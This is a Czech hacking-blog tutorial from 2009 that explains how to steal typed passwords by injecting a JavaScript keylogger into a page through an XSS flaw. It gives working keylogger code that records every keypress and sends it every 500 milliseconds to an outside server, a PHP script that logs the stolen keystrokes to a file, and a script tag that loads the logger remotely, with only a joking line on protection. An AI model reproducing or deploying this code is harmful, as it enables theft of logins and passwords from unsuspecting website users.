Kategorie: Hacking, Keyloggery

Keylogger v javascriptu - jednoduché řešení / využití XSS

Představte si jak se přihlašujete na svůj účet, ještě jste ani neklikli na tlačítko přihlásit a vaše heslo už je útočníkovi známé - jak to? Javascriptový keylogger je jednoduché, leč zákeřné znázornění nebezpečnosti neošetřených vstupů.

Autor: KdoSiOdJinud | Vydáno: 12.5.2009 16:31 | Přečteno: 18380x | Komentářů: 0

Problematika XSS

Pokud nevíte co přesně xss je a jaké jsou hlavní nebezpečí doporučuji nejdříve pročíst tento článek: www.kdosiodjinud.cz/kde-hledat-zranitelnost-xss-cross-site-scripting.a60.html

V článku budem předpokládat, že jsme schopni vložit javascript do stejné stránky jako je formulář který chceme "odposlouchávat"...

Kod javascript keyloggeru:

Tělo logeru:

var klavesy='';
document.onkeypress = function(log) {
udalost = window.event?event:log;
key = udalost.keyCode?udalost.keyCode:udalsot.charCode;
key = String.fromCharCode(key);
klavesy+=key;
}
window.setInterval(function(){
new Image().src = 'http://nase.cz/zpracovani.php?keylog='+klavesy;
klavesy = '';
}, 500);
  • řádek čistí (připravuje) proměnou keys
  • při stisku jakékoliv klávesy vyvoláme funkci log
  • uložení do proměné udalost události, které na stránce probíhají (pro další zpracování)
  • uložení do key kody kláves převzaté z udalost
  • převedení kodů kláves na znaky ascii
  • přidělení hodnoty key ke keys
  • řádek je prázdný :o), ukončení funkce log. Nyní budeme proměnou odesílat...
  • řádek vyvolává v intervalu 500ms naší funkci pro odeslání
  • vytvoří objekt k odeslaní na náš php soubor, přidá proměnou keys
  • vyčištění proměné keys
  • zmiňovaný časový limit odeslání

PHP kod který může zpracovávat přijatou proměnou:

$soubor = fopen("zaznam.txt", "a+");
fwrite($soubor, $keylog);
fclose($soubor);

Popis funkce snad není potřeba :o)

Pro úplnost ještě kod z indexu

Načtení externího js v kterém je uložen samotný loger, výhoda externího načtení je, že loger máme pořád u sebe a následné editace/smazání nejsou problém.

<script src="http://nase.cz/loger.js"></script>

Závěrem

XSS může být nebezpečnější než si myslíte! Neošetřené výstupy na indexu mohou být pro web opravdu nepříjemné, od editace vzhledu stránky může ničič pomocí takovéto vychytávky chytat veškeré loginy atd. Návodů a kodů js loggerů je plný internet, já se inspiroval a poskládal toto.

Ochrana

Povolený javascript je všeobecně známo nebezpečná věc! :o)

Komentáře rss

Pokud hledáte službu či máte dotaz mimo téma článku, využijte prosím sekci Nabídky / poptávky.


Nebyly přidány žádné komentáře.